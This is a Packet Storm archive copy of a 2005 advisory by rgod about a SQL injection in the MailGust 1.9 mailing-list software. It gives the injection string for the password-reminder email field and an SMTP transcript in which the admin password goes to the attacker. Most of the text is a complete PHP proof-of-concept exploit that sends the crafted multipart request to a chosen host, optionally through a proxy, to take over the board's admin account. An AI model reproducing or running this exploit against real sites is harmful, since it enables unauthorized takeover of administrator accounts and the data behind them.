maildisgust.txt

2005-09-26T00:00:00
ID PACKETSTORM:40245
Type packetstorm
Reporter rgod
Modified 2005-09-26T00:00:00

Description

                                        
                                            `MailGust 1.9 SQL injection / board takevor  
  
software:  
site: http://www.mailgust.org/  
description:  
Mailgust is three softwares in one:   
* Mailing list manager   
* Newsletter distribution tool   
* Message Board   
Mailgust is written in php and uses a mysql database.   
  
vulnerability:  
  
if magic quotes off -> SQL Injection  
without to have an account, a user can send himself a new admin password using  
password reminder, in email field type:  
  
[yuor_email],'or'a'='a'/*@hotmail.com  
  
give a look to what happen:  
  
220 [MAILSERVER] SMTP Service ready  
HELO [MAILGUST]  
250 [MAILSERVER].  
MAIL FROM:<me@localhost.com>  
250 MAIL FROM:<me@localhost.com> OK  
RCPT TO:<[your_email]>  
250 RCPT TO:>[your_email] OK  
RCPT TO:<'or'a'='a'/*@hotmail.com>  
250 RCPT TO:<'or'a'='a'/*@hotmail.com> OK  
DATA  
354 Start mail input; end with <CRLF>.<CRLF>  
Date: Sat, 24 Sep 2005 16:11:38 +0100  
Subject: New password  
To: [your_email],'or'a'='a'/*@hotmail.com  
From: systemxxx@localhost.com  
Your login name is: [admin_email]  
Your new password is: 4993587  
Click here:  
http://localhost/mailgust/index.php?method=activate_new_password&list=maillistuser&pwd=4993587&id=1756185114  
to activate the password, than try to log in!  
  
It is recommended that you change your password afterwards.  
.  
250 <4335105B00009AE2> Mail accepted  
QUIT  
221 [MAILSERVER] QUIT  
  
vulnerable query is in [path_to_mailgust]/gorum/user_email.php at line 363:  
...  
$query = "SELECT * FROM $applName"."_$userClassName ".  
"WHERE email='$this->email'";  
...  
  
it becomes:  
  
SELECT * FROM maillist_maillistuser WHERE email='[yuor_email],'or'a'='a'/*@hotmail.com'  
  
"or'a'='a'" is always true, so the query is always true,   
script doesn't fail, for mail function, theese are two valid email address,  
it will send the mail to [your_email] and to 'or'a'='a'/*@hotmail.com ;)  
  
activate the password, now you can login with [admin_email] as user and new password  
  
  
this is my proof of concept exploit:  
  
<?php  
  
# mailgust_xpl.php #  
# #  
# MailGust 1.9 ( possibly prior versions) SQL Injection / board takeover #  
# poc exploit with generic HTTP proxy support #  
# by rgod #  
# site: http://rgod.altervista.org #  
# #  
# #  
# make these changes in php.ini if you have troubles #  
# to launch this script: #  
# allow_call_time_pass_reference = on #  
# register_globals = on #  
# #  
# usage: launch this script from Apache, fill requested fields, then #  
# send yourself a new admin password right now! #  
# #  
# Sun-Tzu: "Hence to fight and conquer in all your battles is not supreme #  
# excellence; a supreme excellence consists in breaking the enemy's #  
# resistance without fighting." #  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout", 2);  
ob_implicit_flush (1);  
  
echo'<head><title>M a i l G u s t v.1.9 S Q L I n j e c t i o n</title><meta  
http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type=  
"text/css"> <!-- body,td,th {color: #00FF00;} body {background-color: #000000;}  
.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }  
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold;  
font-style: italic; } --> </style></head> <body> <p class="Stile6"> MailGust  
V 1.9 (possibly prior versions) SQL Injection / board takeover</p><p class="Stil  
e6">a script by rgod at <a href="http://rgod.altervista.org" target="_blank">  
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form  
name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=  
value&port=value&proxy=value&your_email=value"><p><input type="text" name="host"  
><span class="Stile5"> hostname (ex: www.sitename.com) </span> </p> <p> <input  
type="text" name="path"><span class="Stile5"> path ( ex: /mailgust/ or just / )  
</span></p><p><input type="text" name="port" > <span class="Stile5"> specify  
a port other than 80 ( default value ) </span> </p> <p> <input type="text"  
name="your_email"> <span class="Stile5"> e-mail where MG will send the password  
</span></p><p><input type="text" name="proxy"> <span class="Stile5">send exploit  
through an HTTP proxy (ip:port)</span></p> <p><input type="submit "name="Submit"  
value="go!"></p></form></td></tr></table></body></html>';  
  
function show($headeri)  
{  
$ii=0;  
$ji=0;  
$ki=0;  
$ci=0;  
echo '<table border="0"><tr>';  
while ($ii <= strlen($headeri)-1)  
{  
$datai=dechex(ord($headeri[$ii]));  
if ($ji==16) {  
$ji=0;  
$ci++;  
echo "<td>  </td>";  
for ($li=0; $li<=15; $li++)  
{ echo "<td>".$headeri[$li+$ki]."</td>";  
}  
$ki=$ki+16;  
echo "</tr><tr>";  
}  
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else  
{echo "<td>".$datai."</td> ";}  
$ii++;  
$ji++;  
}  
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)  
{ echo "<td>&nbsp&nbsp</td>";  
}  
  
for ($li=$ci*16; $li<=strlen($headeri); $li++)  
{ echo "<td>".$headeri[$li]."</td>";  
}  
echo "</tr></table>";  
}  
  
  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
  
  
function sendpacket($packet)  
{  
global $proxy, $host, $port, $html;  
if ($proxy=='')  
{$ock=fsockopen(gethostbyname($host),$port);}  
else  
{  
if (!eregi($proxy_regex,$proxy))  
{echo htmlentities($proxy).' -> not a valid proxy...';  
die;  
}  
$parts=explode(':',$proxy);  
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) { echo 'No response from proxy...';  
die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='')  
{  
  
$html='';  
while (!feof($ock))  
{  
$html.=fgets($ock);  
}  
}  
else  
{  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))  
{  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
echo htmlentities($html);  
}  
  
function isemail($email)  
{  
$regex = '^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]{2,})+$';  
if (eregi($regex, $email)) return true;  
else return false;  
}  
  
if (($path<>'') and ($host<>'') and ($your_email<>''))  
{  
if ($port=='') {$port=80;}  
  
$your_email=trim($your_email);  
if (!isemail($your_email))  
{  
echo '<br> I am not MailGust! You have to give me a valid e-mail...<br><br>';  
die;  
}  
  
$sql=$your_email.",'or'a'='a'/*@fakedomainname.com"; //wow it's a beautiful query ;)  
  
$data='-----------------------------7d52b21b210554  
Content-Disposition: form-data; name="method"  
  
remind_password  
-----------------------------7d52b21b210554  
Content-Disposition: form-data; name="list"  
  
maillistuser  
-----------------------------7d52b21b210554  
Content-Disposition: form-data; name="fromlist"  
  
maillist  
-----------------------------7d52b21b210554  
Content-Disposition: form-data; name="frommethod"  
  
showhtmllist  
-----------------------------7d52b21b210554  
Content-Disposition: form-data; name="email"  
  
'.$sql.'  
-----------------------------7d52b21b210554  
Content-Disposition: form-data; name="submit"  
  
Ok  
-----------------------------7d52b21b210554--';  
if ($proxy=='')  
{$packet="POST ".$path."index.php HTTP/1.1\r\n";}  
else  
{$packet="POST http://".$host.$path."index.php HTTP/1.1\r\n";}  
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";  
$packet.="Referer: http://".$host.$path."index.php?method=remind_password_form&list=maillistuser&fromlist=maillist&frommethod=showhtmllist\r\n";  
$packet.="Accept-Language: en\r\n";  
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d52b21b210554\r\n";  
$packet.="Accept-Encoding: gzip, deflate\r\n";  
$packet.="User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Keep-Alive\r\n";  
$packet.="Cache-Control: no-cache\r\n";  
$packet.="Cookie: globalUserId=1745493597; gustTimeOut=1\r\n\r\n";  
$packet.=$data;  
show($packet);  
sendpacket($packet);  
}  
else  
{  
echo '<br>Fill in requested fields, optionally specify a proxy...<br><br>';  
}  
?>  
  
rgod  
site: http://rgod.altervista.org  
mail: retrogod at aliceposta.it  
original advisory: http://rgod.altervista.org/maildisgust.html  
`